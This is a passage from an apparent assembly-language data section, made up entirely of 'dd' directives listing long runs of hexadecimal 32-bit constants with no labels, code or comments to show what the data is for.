0EC112400h, 9BC48925h, 5153304Bh, 2FBD50A1h, 9888BCA8h dd 8A04104h, 0D1C0D29Eh, 0F769B38h, 0B046CCA1h, 7760FD80h dd 81C02A44h, 0DB6FA9F1h, 1C40065h, 0D6039C85h, 680328A7h dd 0B277443Fh, 2EB8D8B0h, 7FD90E15h, 3078F213h, 7C00C6FAh dd 0DE300424h, 30611490h, 295959C9h, 7A00BCF6h, 36BFEA07h dd 0F7D8FAAh, 87B95910h, 9906C9A0h, 48B0A986h, 8B5A2805h dd 0BC20CA07h, 4FD28Eh, 0EDB7A636h, 6FEA90BFh, 4CE48500h dd 0D97BFE6Ah, 0A99F0407h, 40C5AF22h, 83EA0C3Ah, 0AAC902D7h dd 3B7A9F14h, 0B42D7048h, 0D171B801h, 57FAE1CCh, 24BC020h dd 1F70520Eh, 0EC44AE23h, 0E6187898h, 0D311758Eh, 7B051FF3h dd 201C8094h, 0E9A183B4h, 1DC4C01h, 5CD78882h, 788091D9h dd 0C8DF9EB2h, 0C61E0CA7h, 371DACA6h, 4AA91F40h, 49464412h dd 0F400A47Eh, 0AEE7B008h, 0AAF6C30Ch, 6C3CC426h, 7003B307h dd 0D550CC00h, 3B0C2455h, 18F006F0h, 0A13A6063h, 33C90B67h dd 3AB400CCh, 49A350B2h, 0E0600838h, 0C922BE08h, 2DA64818h dd 600C4419h, 4303818Ah, 38DEBA9Eh, 0F9670022h, 7FFB56D2h dd 441B4E42h, 0EA318B71h, 80E4C198h, 7231180h, 0F5E678B7h dd 909CFA37h, 0EE7A8A83h, 0AE6E0751h, 0BEDDB687h, 0D78D6540h dd 450136ECh, 233477E8h, 0D8639186h, 2A419000h, 42974433h dd 1F9F7800h, 0FA38B987h, 34EA006Dh, 1BB25545h, 0D82CD0A6h dd 130098C2h, 58D27FB0h, 2A7204ADh, 888E1E0Fh, 673BCBC8h dd 0FF1CF948h, 2F40209Ah, 0BC507A1Ch, 9E85005Bh, 720EABC4h dd 65486B30h, 0BA60FE8h, 0FE380E4h, 0F218B853h, 0D4C500E9h dd 2D298C6h, 6D08E15Eh, 80FB8E66h, 5C30EB21h, 22186A1Bh dd 0CA19D4CBh, 6C924Fh, 0D202AF2Ah, 0AA19E2D7h, 1DAC8E4Bh dd 5ECBC103h, 3C80EE43h, 0CC9A67CAh, 0C4706500h, 9D6B7975h dd 49FC62C9h, 9AC0BBE8h, 7005B561h, 1729BFD0h, 0B1283447h dd 0AB6DEFB1h, 603430h, 175F6356h, 107C85A3h, 38108148h dd 0D3708211h, 125217Dh, 0BAF21799h, 18980B8h, 42336A30h dd 64C8031Fh, 0C3F5A09Eh, 47A5F080h, 0E3294FB0h, 0BF80E0EAh dd 75F3B71Eh, 0B0600005h, 0E978067Eh, 0E705E445h, 8E9530B8h dd 2041A209h, 2A7CE38h, 0C25F03DEh, 52935138h, 848776E0h dd 6C2C8F04h, 0C0A22A03h, 813D9C00h, 9761DAB3h, 58DFD400h dd 468C1E1Fh, 8EEA253Ch, 79517C20h, 6A78FECFh, 84EF0B07h dd 6D81B02Ah, 145041DCh, 6758DCAh, 9A6C08E9h, 0BA07694Ah dd 5EDB47DCh, 19862BD0h, 0A49C00A9h, 3995ED0Ch, 5026D6A8h dd 0A042C0ACh, 0E3C8C1E7h, 0E89C63CEh, 5CC6FFDFh, 0BB03B826h dd 9A304286h, 0C26940B4h, 0B0CB037Dh, 8E3700E0h, 0DCB7B2F9h dd 64B830BEh, 1442542Eh, 74337103h, 2B09A0D9h, 0DFAB0075h dd 0B2B9F4B7h, 46EA9FE8h, 86C0FCA8h, 16AE3500h, 0E7BA3EA8h dd 0DAE00081h, 3451A7E1h, 0B271D236h, 15B14400h, 0DBD5AAEEh dd 0E891F6h, 6F0738E0h, 0FA24419Eh, 444038F4h, 777D37FEh dd 0D19200C6h, 39A1DBB3h, 0A42E540Bh, 0B40274BDh, 40FF7C3Ch dd 2CA13A4h, 2CA16CE2h, 0B4A08ABAh, 0A509F855h, 4B0119FEh dd 0E2C9BEA3h, 0FC32F6B3h, 1C0A3300h, 5067E470h, 94D30F00h dd 6D1F2E7Dh, 909FEA1Eh, 1CC3257Eh, 0BB24A421h, 0D0CD3175h dd 1890808Dh, 0CCACB47Ch, 0B480600h, 0A17770E6h, 4F890EFh dd 2E31970Eh, 0FF78889Ah, 0B3980B01h, 1DDC853Ah, 9B41D0h dd 5A11A625h, 0D219A0ECh, 6728E102h, 0C188D9ACh, 0A021F984h dd 1A0E0FC0h, 282DCD53h, 0F3008046h, 0BDF69F64h, 0A0CF9C3Fh dd 713E69A5h, 8F880016h, 937ABB20h, 3CB9EAD6h, 0AEC1FA87h dd 0B82A13D3h, 9415B9h, 33BCBAC5h, 0FE569D7Ch, 37924D05h dd 0CCCC6EBDh, 5DF90003h, 26ABD899h, 0A70A7294h, 987BCC77h dd 0DDF31340h, 4AC403EAh, 0EEB1D591h, 98D084D0h, 3FFEA018h dd 0B06C2329h, 1012E22Ch, 81BE5088h, 10ABF6A5h, 4C59E070h dd 400524B0h, 8890C12Ch, 0A86B1BA0h, 646C9031h, 0C67A0793h dd 8FA386E1h, 0D488D7C0h, 0D00189CAh, 977B4D46h, 0FC709E2Eh dd 0C1A21279h, 1898302Ah, 1E00E4E9h, 0D07B71F0h, 3B921641h dd 75AA35EBh, 0B6DF0580h, 0C6509F0Ch, 8526393Bh, 3D40A8C9h dd 23ACFBAh, 3903135Ch, 2BE0F0B0h, 0F9D6457Bh, 26C29000h dd 7828BCB9h, 13E0D302h, 0B141C28h, 0E800AB80h, 0D2908156h dd 0FC00A0E0h, 9C867EF4h, 6B28B0Bh, 0AA106D3Fh, 27448861h dd 0F28B98Dh, 0F520E10Bh, 0C6BFDC92h, 0A18BA204h, 81EE07C1h dd 0D8FA15B7h, 13F69903h, 0F250498h, 30BCA306h, 7211F85Ah dd 0B2430029h, 0E49E923Bh, 0D81DC8A6h, 0D2C087EAh, 470D7A4Bh dd 0F1EDC0Bh, 24007B68h, 31639CBEh, 52F12F60h, 17DE6FAh dd 2D184414h, 0FC02E8D6h, 82EEBA57h, 0B0AD2C2Eh, 23A33940h dd 0A04B3E65h, 0CA628h, 0DB10A997h, 47115455h, 90B813Ch dd 984BC1A0h, 2D4CEFDCh, 95DEADD2h, 0A600B01Dh, 0CD1AE12Ch dd 8E521856h, 6D9251FDh, 94610B01h, 8F2D767Fh, 2E2A1DE8h dd 397DF68h, 35E81B08h dd 317CC8FCh, 0FED13E67h, 0ECC9E9A1h, 30D72C70h, 7B814C9Ah dd 0F7000872h, 59F0D1F8h, 77C0FD2h, 660DDADDh, 5B630085h dd 725C4BAAh, 67D89878h, 741C30D3h, 7C9CA061h, 8DF2081Fh dd 8AEAB1F0h, 2114056Bh, 8CF74D0Bh, 561E84D4h, 7F8069A5h dd 0AADFB91Ch, 1920E43h, 5C616B1Dh, 9AFABC2Ch, 20709149h dd 0C990832Ch, 51205AFh, 0D06F4C2Dh, 89BCEC7Ch, 0D0E2A500h dd 3E6AF6B0h, 0D27C09DAh, 0E8643CC6h, 900ACB06h, 151A880h dd 0A912B86Eh, 0E85058F9h, 88620E71h, 2F3FD2E0h, 0C491B020h dd 710085AAh, 0CD473804h, 0B98D0B9Dh, 10350B68h, 91D4A5Eh dd 0A0D77CC0h, 587FED71h, 96021C70h, 0E389EE08h, 947C085Ah dd 1CED5000h, 0DBEB98CAh, 24B000EEh, 0BD858DC2h, 670093F4h dd 0D4DCA288h, 6D265h, 0A6A975C8h, 443191F3h, 0D6ADA1C0h dd 856B2h, 9AD29CD8h, 0EC179327h, 7930C513h, 0B282D0D0h dd 0F97F4Ch, 0FC2B99ABh, 7DB6DDEAh, 921B5001h, 0C72D0FA7h dd 9DB2820h, 2A35D3CAh, 3480CC4Ah, 0C845F3F5h, 69CFE3Ch dd 48F4A8A6h, 0D3B500D1h, 0D73E2D0h, 0F3009D0Fh, 18C1543Bh dd 67F4860Ch, 943C499Bh, 9353C142h, 54ACD0B8h, 13D67407h dd 80673AB5h, 0B132D430h, 80D09498h, 366B6DDAh, 0A8280AB4h dd 0FF22D075h, 14995038h, 9C8D0135h, 0E34DF804h, 88C0203Ch dd 18A0253Dh, 97312D7Ah, 0E1F4002Ah, 1DD6BD0Dh, 0A4FC6813h dd 95B12F1Fh, 3A5B6440h, 60EFB2E9h, 0E1A8F86Fh, 9D28124Eh dd 0BA0564C9h, 6EECB324h, 36FA81FAh, 2BA5D016h, 93FA3F00h dd 0C38653E7h, 52C991Ah, 0D4F8AE23h, 718A2B0h, 0C673E0B2h dd 0C321277h, 0C0DCC08Ah, 29E5FA63h, 3E07BE6h, 98F2115h dd 0AAA0A1F3h, 17006D93h, 262B693Bh, 2ED83E9h, 5FFA6B1Eh dd 0ECE0C60Dh, 6E05B5F6h, 68B62603h, 402023C5h, 0EECAD687h dd 339D00D4h, 687DAE84h, 36059528h, 0EA6D4FAAh, 2805E885h dd 5CC2E2BDh, 0B27FC0B4h, 30351B0Ah, 5EF09925h, 8F005C32h dd 89564F15h, 978E12h, 1FA6A120h, 94F99CE6h, 9E5C9B58h dd 20DDF5C0h, 0F9D29F19h, 0B894A3C0h, 72FC448Ch, 6B5D3100h dd 446EFBC6h, 0F119C57Bh, 0C140C0A1h, 0B8020F1Ah, 8C139F1Bh dd 4CF8C4C8h, 24035875h, 0D8F5F026h, 0E2A6C204h, 4CB2122Fh dd 0A729910Ah, 22CC20D3h, 701E8AA0h, 0B1C0B234h, 0B7FA250h dd 4F44F422h, 7AB44646h, 5800F92Ch, 8A63FC56h, 0B843BDFh dd 349A8D08h, 0D411D018h, 0B0E7D202h, 0DB20C4A0h, 910A8018h dd 148930E3h, 269D4502h, 6620794Eh, 0C3C6002Ch, 5E4B2A58h dd 11001097h, 14991C3Fh, 3C3C7638h, 4488C9BCh, 2E83522Ah dd 888ED0h, 4E0BFB41h, 14383E4Bh, 0C547B809h, 488801E8h dd 898933A3h, 9468E388h, 65031203h, 833EFC16h, 8678A8FDh dd 49D82626h, 70771506h, 53675001h, 3099A596h, 26039008h dd 6F7D737Ah, 5634D0C9h, 85120553h, 3322B29Ch, 302692F0h dd 6901ACFDh, 22FFC39Dh, 44129050h, 2F8A445h, 0AA5CB3DFh dd 4C5298B2h, 9D161100h, 0F02AE9A7h, 91660979h, 7CE42C3Fh dd 9C73905h, 6A80B218h, 0B704A64h, 105C444Eh, 0B0E8E484h dd 0D015C34Ch, 22CC26EDh, 7920004Bh, 2FB4184Eh, 0FB07B32Dh dd 0A180C288h, 0C6BCA040h, 0DD642E19h, 99D2017Ch, 2279137Dh dd 0ED035E0Ch, 8852C5F2h, 32AB0A4h, 70090DE3h, 0D90045C9h dd 0B43405E0h, 0F21D8Ah, 2FD4C72Ah, 14B75ECBh, 2CB60101h dd 0ACC991FEh, 40889CF3h, 103900B5h, 0D44FC2EEh, 5000EC4Bh dd 0AE224A88h, 12A2832Ah, 4E76C2Ch, 40A797A8h, 44E0C49Bh dd 49506E0Ch, 890A59Fh, 9CB4483Bh, 84E39742h, 0C0A29090h dd 0B23D9E00h, 7611EE36h, 0B346DA00h, 8B0750B9h, 0DCD30772h dd 4C43170h, 0F24E2E4h, 0C7F41123h, 11EF50A8h, 1F7F7300h dd 0DE3A1CD7h, 244BFE3Ch, 0C982E074h, 40905AE3h, 91F48710h dd 0A2CB00ECh, 0DCA3A0ECh, 0C349C612h, 8A760830h, 88420E9Fh dd 60E04CE4h, 87E9A412h, 0BC217F2Eh, 7C883F16h, 797D02h dd 5875E38Bh, 720E0142h, 0F0DE390Eh, 5609C3h, 0D4146C14h dd 0A2EEE0D6h, 48500A9Ch, 0F318CF0Ah, 0D5B46003h, 3F30027Fh dd 0BAB7E61h, 0C89C30E0h, 0ECA01100h, 4C83F9D3h, 0C08D5CAAh dd 0B02284Ch, 8E2B153Ah, 1E8F3454h, 521DA108h, 38C412FEh dd 22C0B0CBh, 9902757Fh, 4F3290A0h, 3C5AC4h, 0B7395444h dd 3AE89359h, 992388C4h, 1EA9F4A4h, 4F1B7B77h, 8B809512h dd 2C024875h, 7820C14Ah, 0C568BBh, 76ED1B07h, 0A4A68901h dd 0DF0DCB00h, 9ABFF2BDh, 942B4C95h, 9B1EC522h, 0D99952D2h dd 3FED8FD0h, 84806C2Ch, 0CE4A0821h, 29BB9B1Dh, 999D0700h dd 3A9E3h, 7827FD22h, 8544BF7h, 0EEA61000h, 3844CC53h dd 50F1C599h, 217420B9h, 917CB5C0h, 1923BF35h, 88602CE3h dd 10B160FCh, 39987F5Dh, 23290BF2h, 0FE886497h, 926C2E89h dd 117663A0h, 989A8CD8h, 24290C00h, 697DC1A0h, 1177AA6h dd 0C9480E75h, 0BE704906h, 0CA03012Ch, 0C8CCA020h, 978AB02Eh dd 240F357Bh, 727D45D3h, 219DF420h, 19CD09BFh, 0C080B7F6h dd 0C17DF80Ah, 94397CE8h, 0BBE998E4h, 17A15C0h, 7F03686Ch dd 798FEA4Ah, 187D008Ch, 814E1FE6h, 0FF9100C7h, 3EB416Bh dd 58147301h, 56D061F6h, 753870F8h, 7BFF0865h, 13A1199h dd 316EA1BBh, 9CC06310h, 4D2305DCh, 0CCA261F8h, 70000494h dd 33969A3Ah, 13A79BD3h, 2B5384Fh, 527CF438h, 0D1409456h dd 0FA0107h, 9B537F06h, 6C142FCBh, 0FFC49903h, 0E883250Eh dd 7450D0A5h, 2EE20512h, 5FC885F7h, 78054F38h, 5FE02A0Eh dd 0FA8D4EF5h, 8EBF201Eh, 0D00014AAh, 6164C987h, 588A71h dd 1D9BED21h, 0CDE77505h, 0EBA61B01h, 7A5E013Eh, 0DCE5AC40h dd 22992D73h, 0AF6B9820h, 0CE0353BEh, 2A34E944h, 0C697FAA9h dd 92B2C50h, 0F2BC60C4h, 7100D59Eh, 805B39FCh, 13DBF74Ch dd 235A915h, 8D313295h, 0C900B0DAh, 4F3D9910h, 17CE913h dd 0BCA7B3BDh, 2050AD04h, 0F70BE720h, 0FA089D3h, 0C409D15Ch dd 8CC4FD58h, 0A053D900h, 0DB99B0DCh, 64F10719h, 609D85E3h dd 3E229AE9h, 9EC68000h, 700FEEC4h, 0EFBF1E4Ah, 89E702BCh dd 9240D135h, 2A73AF7Eh, 4A09827Ch, 81F77103h, 0EC1CA0F1h dd 849A8064h, 2C4A680Eh, 0A18B601Eh, 5FD0B61h, 0ED99F7AEh dd 16C0C07Eh, 0DB002A72h, 7DE43139h, 0B998A9A0h, 5D44000Ch dd 9F11FF9Eh, 5C81370Fh, 13099Ch, 44E6C490h, 8B409E72h dd 0C12A050h, 79051870h, 0B6A73A14h, 8FCB3881h, 0F22142F0h dd 19492F8h, 0DC5253E6h, 6D7AAB76h, 366D07D4h, 275054E8h dd 0F08F03CCh, 122E0052h, 3B317CDBh, 0C201B3BEh, 0EC71D7B0h dd 4C386FCBh, 0C41E1F80h, 82F4778Ah, 1943D000h, 1427721Ch dd 0AD0B2C16h, 90122DB1h, 11018C52h, 75EBABC1h, 0C980209Ah dd 0D0525CFCh, 5534868Ch, 548CF054h, 7314AC9h, 167A47A5h dd 32CC128h, 2D00DB87h, 0EB5495E9h, 59550082h, 0C16056BCh dd 226A01Bh, 230114C7h, 9EF3A70Dh, 2590CDC0h, 0C8241AC3h dd 0BE90C899h, 0F4F59AFAh, 650FE1Dh, 0D4015C0Ch, 9FF966E0h dd 0E420BF48h, 0C084952Ah, 1770C023h, 86607383h, 71E57860h dd 7E34007Bh, 472BA562h, 602C4E6Ah, 903C48D3h, 9853FC91h dd 0A0E2B207h, 17894065h, 0B30018CBh, 74164F92h, 50E497DEh dd 137FD277h, 908EDC6Ch dd 899AA6F8h, 0BFA22B00h, 928739BAh, 10AF16B7h, 90B00AA8h dd 0A8523C91h, 20319117h, 758E2ABCh, 27194B00h, 9C677C6Bh dd 55B60912h, 8C70D671h, 0B1B3CC02h, 52317DA9h, 926A00C8h dd 8F411635h, 0DC00612Ch, 13A1C85Ch, 488A1BA6h, 3C50D350h dd 245E06EEh, 81D38D12h, 1ABE6E00h, 0F95BD72Eh, 69DB00C1h dd 98CFE23Bh, 3F05A7D0h, 0D3A0381Bh, 0F2F53840h, 160A29h dd 61EDE78Bh, 0F8D2180Fh, 0FF334C02h, 0EE6B6714h, 94B22DD0h dd 62407C00h, 2A359185h, 0A0080811h, 11A0A62Dh, 59031E8Ah dd 0B420F4D2h, 34BBBB9h, 89E67330h, 0A680E739h, 5DE2D7C3h dd 5821445Fh, 0EF2161D5h, 8B288740h, 9BE00062h, 21BBEFAAh dd 0D212D95Dh, 4809BAD0h, 0D1C1h, 611A0FCBh, 53002FD7h dd 9C4B3183h, 426F2F3h, 571FCF52h, 218080ACh, 0E0E2A094h dd 31C7C311h, 0C9359918h, 0A005B08h, 6C3BF7B8h, 1CCA74AFh dd 4068BEEDh, 7113C950h, 0FD26E455h, 0CB08DCADh, 0B9B80C5h dd 58C3E36Ch, 0C9850913h, 0F7918A4h, 0EE234DD8h, 0FB13CEE0h dd 0AE608E1Dh, 0B76AB639h, 0CC641E7Fh, 0E2FFC0C5h, 8DD98136h dd 96760A1Ch, 97EB0D01h, 1EE8B3A5h, 0A7DB00A2h, 4816313Ch dd 1B00B2A6h, 0A0EE2750h, 2DF9919Fh, 5C238E28h, 21E851DCh dd 27246637h, 0B2007CE9h, 1D7948FFh, 43C94FA4h, 7EE42608h dd 4D78FB90h, 7D397200h, 0A6D5CFF5h, 0C4C308F8h, 902738D4h dd 2E5B37E4h, 0B4E8ADh, 435C466h, 0BA000D0Bh, 0F187DE57h dd 907F199Bh, 0D0432620h, 701C3C6Ch, 0A4930225h, 97C0D9C6h dd 6E01A2BAh, 0BC5C4461h, 403B8E2Ch, 7D8B05C0h, 90F40389h dd 443CD326h, 0FAC6D702h, 0FCE498h, 2247D02Eh, 60BA99A4h dd 4CDA4500h, 5618FEE1h, 6123050Fh, 0F2853449h, 0BA0900D0h dd 6A6EC7ECh, 3822013Ch, 576F5EC0h, 0E498D0DCh, 9CD40601h dd 14B4232Ah, 33E702Ch, 83E034A9h, 4170CCA9h, 0CE40F5F8h dd 8A0EF100h, 6BDA18AAh, 2AA70C57h, 9EA92E9Ah, 1D361900h dd 0A6C75FD9h, 508416E0h, 858020BFh, 0A0B6F5C3h, 0D1E3B180h dd 90AB8B2Ch, 3DA722B8h, 80D08D5Ch, 0E64FD3F4h, 5F4E0036h dd 0B804E270h, 0AE035B6Ah, 6040019Ch, 2010E8E9h, 9CC9E04Fh dd 24B83B8h, 0BFE89C35h, 3100E3BEh, 3C192A18h, 21BA0C9h dd 0C1B099D1h, 0BCC1DFD3h, 8704DC66h, 3EFA505h, 54B4D0C3h dd 65D42C6Fh, 208D13F0h, 0AC8EF5A8h, 0E98FD00h, 13D96476h dd 61C709B3h, 84AC450h, 0E01908C0h, 2E834417h, 904C5088h dd 12DC004Eh, 662DB68Bh, 1100DDB3h, 0BD616927h, 4AA23BA0h dd 45CD09Bh, 540EF852h, 31AA736h, 98EFF66Eh, 121F7FAEh dd 90F4DB2Ch, 0A53A698Ch, 605C9700h, 6B56B61Dh, 0A394003Eh dd 0D3E3B04Bh, 9A200CD7h, 1C2C758Fh, 667028h, 0D29BDA9Eh dd 5215C4E2h, 803D31h, 551788B8h, 7BCB376h, 6FBAFA86h dd 6EE37250h, 3BB41460h, 0C90794Fh, 1E46D217h, 0F96DC283h dd 0DE719D80h, 6050C45Ch, 0E5BB1B00h, 35E9B299h, 0BE80BC45h dd 704B9F02h, 9B0B32FCh, 8404B0ACh, 70F7481Dh, 920D7CC0h dd 3500D8D6h, 5A8D0633h, 2750118Ch, 8468A023h, 8499C6C4h dd 125C7030h, 0F030760h, 207E707Ah, 72EEF3EBh, 0C422B513h dd 0D2622C20h, 412C1EFAh, 27D52ACh, 92E8F000h, 0E60038C6h dd 0F964CBB6h, 0B00F8EE7h, 907B2402h, 99E300A4h, 5BC9A7EAh dd 0C7B6AB07h, 83719F37h, 187298C0h, 0EFC6E600h, 2B2F0F15h dd 0BFAB204h, 0A889A547h, 1181C2Eh, 20AE530Eh, 0E6108486h dd 0CCE9F519h, 0CB683503h, 66F0CD2Dh, 0B107D7BFh, 2BED2CF6h dd 114A92E0h, 0FC625C5Dh, 82B96101h, 87A18E36h, 30630CE9h dd 0E0A58420h, 0FD6801ACh, 20BFDD58h, 7B7CCC81h, 5C624Ch dd 5551D622h, 521C3923h, 8303D4CAh, 8C3AEA0Eh, 6C2157B0h dd 3CBC6D51h, 369A8400h, 0F77C540h, 0EE00A029h, 0A91EA93h dd 2450EDB9h, 90DCC2Bh, 2801DDC4h, 102D7BEFh, 0FA778Ch dd 5E355043h, 0CE0CB30Eh, 0D9ED7200h, 5D57C49Ch, 2FE37B09h dd 9C20C11Eh, 6266B228h, 0F82B48h, 0C63C0D0Eh, 70A3ED6Ah dd 0D14A0B6Bh, 48896E7Bh, 301F0C61h, 0B20141E4h, 2C74A6F5h dd 22DC9256h, 8F64B6A3h, 0BC864D7Fh, 914C118Bh, 289E3E1Fh dd 0C70BB410h, 409450AAh, 0EED8BC60h, 71F2000Bh, 9646510Fh dd 98B64E7Eh, 0DD4F1940h, 0D2942C54h, 7BCF04FCh, 6A42402Ch dd 3EC0A809h, 0CB00D853h, 0A6D0EA90h, 0C3E1C30Ch, 2B7AD7E1h dd 47ACB847h, 5B4D5531h, 46E0930h, 0BE95B412h, 0E01C8293h dd 500060D9h, 0A3201F4Bh, 5C0E7684h, 0D280687Eh, 0BF026BFBh dd 0CEA67409h, 95E50555h, 7098D4C0h, 7AB30463h, 0C075BF12h dd 0C6259770h, 0A257F0C0h, 6FA6C8E4h, 4409709Fh, 6C077051h dd 0D0FA7DE9h, 3C1BBC40h, 871D01D2h, 0B9A48B71h, 0F7A77030h dd 98985C2Fh, 346AA2Ch, 84F96DF0h, 0E8E8A7A1h, 5B1FAD35h dd 6245D2CBh, 988CB2F8h, 0E35F1D97h, 126A4061h, 0FB535617h dd 0DA68DD0Eh, 81838236h, 0E07CC22Bh, 753E545Ch, 0E8F6F4A1h dd 0B98F00B2h, 0D27CD86Dh, 254B43D1h, 953098h, 0DDD93A8Dh dd 71159C6Dh, 70CA1401h, 0C77CB3A7h, 663FB542h, 807400F8h dd 0A538478h, 0D139E421h, 0FF4600AFh, 7D933512h, 807C96E3h dd 81B81AE0h, 1C12E95Fh, 3CC81970h, 63F00369h, 386D48FEh dd 0DC1C6CD9h, 102EF691h, 0C30F909Ah, 0ACE2B2E8h, 0BF2FE003h dd 880DD8Eh, 457CF3D8h, 4A4C124h, 4B5E7184h, 0BEF7F080h dd 3C60E577h, 9BC882Eh, 0FD43B803h, 7CBF4805h, 997D1359h dd 0F82431h, 0B1050C9Ah, 0E41DEC44h, 0E9807429h, 524647B0h dd 32D302FDh, 0D259B2DEh, 6A0E8E0h, 8FE7C2Eh, 13AA23Ch dd 0E6CC5E34h, 28603E8Dh, 8113839Ch, 4542D80Dh, 730900BAh dd 102BB6E8h, 0CD58BFB3h, 21C00B0h, 0F49EF6BCh, 48AD4870h dd 2FD65200h, 605BA199h, 0AB009FF0h, 0A64C8359h, 7A280947h dd 0B85027ACh, 5303B020h, 5F2704BDh, 23201060h, 0F05802B6h dd 0FD264AA6h, 3C81B9E0h, 1C6F2105h, 20009973h, 0C9E86D19h dd 985E7Bh, 4B2D24DCh, 498AD68h, 1C20874Bh, 4C2AC79h, 4427A26Ah dd 0C108AC7Dh, 0D2E38F0Ch, 9804D2CEh, 5C38000Ch, 0D66B83F4h dd 58985FC6h, 208D7F4Bh, 31BC70E1h, 0CB115C4Ch, 0BC720EFBh dd 802EE41Ch, 42AC8CCh, 0A4DE192Bh, 0D249805Ch, 0C4185EBEh dd 0AC888372h, 98B5244Fh, 4D314064h, 85002DCFh, 83451E5Dh dd 97F4644h, 0C2D29DF4h, 0B819A485h, 4BB3DD8h, 1E0F544Bh dd 512814C0h, 2DA070D8h, 0ACC486E6h, 7D82FA01h, 4E45072Ch dd 7A201DCh, 0B0C753CEh, 82A444E5h, 2C60E618h, 3F2F7FE0h dd 0B3B48211h, 0FF8FC05Bh, 8CE904A5h, 0F3D2E843h, 9C214B7Ch dd 7ED8ED2Dh, 158B00A1h, 0A9BCD08Eh, 4300D8C1h, 824F6B55h dd 0A47035DCh, 6A5804A8h, 88C9D6D4h, 93972374h, 0F7808450h dd 9131FEFFh, 584B0F14h, 0F7677D00h, 59001A7Fh, 0D0A1CEF9h dd 1DE4E37Ch, 8205FB54h, 0D95BD457h, 1A40B056h, 1E195A6h dd 0FE85622Ah, 72F5C452h, 2ECA00C0h, 367CDEDh, 0C08C0539h dd 9E8D276h, 10909A4Ch, 0D7037004h, 338AC029h, 0F5D3B92Dh dd 24006429h, 55D2E4A0h, 22027F0Bh, 0B46FD8C8h, 7DC44044h dd 40118931h, 0D7CA47D8h, 0FC0058F8h, 53F7AA50h, 4849E491h dd 8E8908BBh, 0D960D8C8h, 26CB961Ch, 0A7B3B6C0h, 6EDC71h dd 0A611559Dh dd 474377F3h, 0B19C7800h, 90397210h, 3C6700DDh, 0DBC8A624h dd 3A160FE8h, 7CE263C3h, 9E24205Ah, 50381F1Ch, 0CFA193EBh dd 89C2E00Ch, 18164825h, 0EA6C8F02h, 0F05E8D0Ah, 0E8290B85h dd 0EB07F51Eh, 0D70107F6h, 830979Ch, 829904CBh, 836CDB84h dd 45C7E0D0h, 0CB6CA8B2h, 0E04427h, 0BFAD722Dh, 0A8A72E3Fh dd 7600AAEEh, 0DE1310AEh, 1ECF592h, 8AE31A3Ah, 0E03B33BCh dd 86005126h, 8C4A7A97h, 0A29DAh, 0AF2AC34Bh, 361732BBh dd 426BBE07h, 0EA302860h, 60DA714Eh, 9B592952h, 900567Bh dd 0D48611EBh, 4057E1h, 84CC7965h, 0CA3F89AEh, 7CEE8CE8h dd 5094F406h, 4127DAh, 4F9A3DBCh, 394369EAh, 0E4892607h dd 2CA01A90h, 3670C7h, 0E2EC6AD6h, 0A2FC33Ch, 0D09E8500h dd 0BBA49283h, 0BD9101D8h, 0FD056A2Ch, 5807CF4Eh, 3308B32Fh dd 8000605h, 1FA1E50Eh, 0CDCC1B02h, 72C8180Bh, 100636CEh dd 0F4893C99h, 2C770099h, 0B3581D62h, 0F0142E2h, 8683D6B1h dd 0A0F7CD61h, 0E40753Bh, 0DC9AA80Dh, 684AB106h, 0FDB2070Ah dd 63008DA4h, 75EB48D4h, 798F011h, 0FB511A21h, 90FDD10Eh dd 7100E7DFh, 0BE31DB5h, 78B83828h, 73E500DAh, 5CE93E6Bh dd 8907E1C7h, 0FED53087h, 6001DF65h, 0CC1F9188h, 643C88FFh dd 3BB23B60h, 4259F1B1h, 977CF03Ah, 0FB4E39h, 3E104CA8h dd 50BD7917h, 34BA808h, 0BC94A67Fh, 0D8F1B620h, 5CD840B9h dd 8B039E0Eh, 42D24798h, 1F318EF3h, 0B9947379h, 40E4A99Fh dd 782915BAh, 8A120297h, 10277D3Ch, 2FA90Ch, 58B2E49Eh dd 7022B385h, 0D03EFE03h, 0C082FCE6h, 0A84E8326h, 0F4275F0h dd 0EC8D012Dh, 0FD410F4Ch, 9240E306h, 293D5Eh, 9A96F266h dd 0C551A3BEh, 5CE8700h, 0B5B398Ah, 3870A878h, 0CAA90017h dd 888D09B2h, 850021EFh, 0D94A1FE4h, 2BEC42h, 0CB5F4CB4h dd 6E83BC5Ah, 50652C00h, 0CC7196FBh, 0C3B80049h, 77F66C10h dd 3C0756C8h, 5A90F247h, 0DFD95F60h, 306BFAFDh, 7B4963B4h dd 5D00EB7Eh, 8674E488h, 0F10BDE80h, 37C2BBD0h, 0F7295CD6h dd 37AE134Ah, 5052CA37h, 0B3FEF2C0h, 0F94D00CEh, 0D96C094h dd 7DE40608h, 3B7EDC06h, 30382BE3h, 9E085688h, 0A20044BDh dd 0C81B2246h, 1959D2FAh, 6871DD2Ah, 5880F656h, 2847DB08h dd 99D5E61Fh, 0DE2981C7h, 0C31114EAh, 97C6AB00h, 8A7D3910h dd 0B3B25D1Fh, 0B480B975h, 1AC068D5h, 0B956EA6Fh, 2E40528Eh dd 93138096h, 0D634DB0Eh, 4625A360h, 0B3590BC5h, 0C100DE15h dd 40AEF8EAh, 0FE4FE48h, 0A17CE646h, 6FBBDF3Ah, 599858C5h dd 9B6C88D9h, 7A04A4A0h, 46B95507h, 6691DB19h, 998048B4h dd 0C97F24F6h, 7CE49EE5h, 13143605h, 0B900A882h, 0CB819ADBh dd 29D4A4A9h, 268C1547h, 7D931D0Ch, 44D50301h, 0DD51D78Eh dd 522180C7h, 7557A253h, 0B6880079h, 0B8460ACDh, 50ECD502h dd 6934A305h, 8400AC37h, 48B9DF3Eh, 29A8A4DDh, 0CFCAEC2h dd 470BEF6h, 0B2A5010Ch, 0DE195Eh, 0B0FE2761h, 7EB4735h dd 0EE0012F0h, 0EFE30D0Bh, 76ADCA4Eh, 0C4B0030h, 0B7C905B3h dd 0DF0B8EDAh, 1077A44h, 43F63132h, 0CFF13C40h, 1263EC8Bh dd 1FB9B3E1h, 0B77A2240h, 65DD1004h, 848C2467h, 411C07B1h dd 0CFC2B572h, 8D34EAh, 0F263644Ah, 0F00FEE55h, 92D528D0h dd 25DF1C4Fh, 0E40EF5F7h, 0EF4386E9h, 0A6780081h, 7322D625h dd 0ED025534h, 0CB4B038Fh, 758446D2h, 0DA2A1850h, 44705167h dd 2055E131h, 298046B3h, 64455085h, 6B0120E9h, 3C9890C4h dd 5A30F71Fh, 65B10166h, 0AB97A112h, 4C229Ch, 6482C296h dd 3D2B7D5h, 0B878B544h, 2100289Ch, 41D3585Ch, 8FDCCFh dd 6097D84Eh, 89D6628Eh, 0E4297E0Ch, 694699BFh, 5E80D9CAh dd 8A2C0206h, 